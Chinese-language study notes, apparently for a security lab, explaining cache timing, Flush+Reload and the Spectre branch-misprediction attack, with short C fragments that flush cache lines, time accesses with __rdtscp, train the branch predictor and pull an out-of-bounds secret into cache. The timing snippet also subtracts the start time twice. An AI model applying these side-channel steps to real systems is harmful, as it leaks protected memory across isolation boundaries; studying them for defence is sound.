Cache timing

​ 我们需要测得Cache timing命中与不命中的时间差别。我们引入两个库:

  • emmintrin.h
  • x86intrin.h

​ 我们首先为了测到被访问数据,需要将cache清空,这样被访问的数据,就会因为已经进入Cache而访问时间短了一些。

int junk = 0;
register uint64_t time1, time2;
volatile int ui;
int i;

for(i=0; i<10; i++){
    array[i*4096] = 1;
}

for(i=0; i<256; i++){
    _mm_clflush(&array[i*4096]);
}

array[3*4096] = 1;

for(i=0; i<10; i++){
    addr = &array[i*4096];
    time1 = __rdtscp(&ui);
    junk  = *addr;
    time2 = __rdtscp(&ui) - time1;
    printf("%d\n", time2-time1);
}

​ 我们通过_mm_clflush刷新cache空间,同时使用__rdtscp来获取运行的时钟周期数。

Flush and Reload

flush意味着我们预先将cache内的数据清空,之后我们假设被攻击的函数有如下代码。

void victim(){
    temp = array[secret*4096+DELTA];
}

​ 这样我们通过遍历secret的取值范围,通过测量时间,就可以知道secret的值。

Spectre

spectre是利用分支预测漏洞和处理器乱序执行,来达到访问原本访问不到的数据。如被攻击函数有如下的代码。

void victim(size_t x){
    if(x < size){
        temp = array[x*4096 + DELTA];
    }
}

​ 我们首先训练分支预测器,这里假设size为30, 这样有如下代码:

for(int i = 0; i < 30; i++){
    victim(i);
}

​ 接着执行victim(index_out_bound), 这样这个数据就进入了cache中,这时由于分支预测存在,这里被预测为执行成功,等到知道结果为不执行的时候,数据已经进入了cache,这样通过cache timing就可以知道这个index_out_bound到底是多少。

Attack

​ 当然我们需要获取数据,而不是一个index,我们改进代码。

s = restrictedAccess(index_beyond);
if(s!=0)
    array[s*4096+DELTA] = 1;

​ 这样数据就进入了cache中,我们在通过cache测量获取机密数据,实践中,还可以通过多次测量减小误差。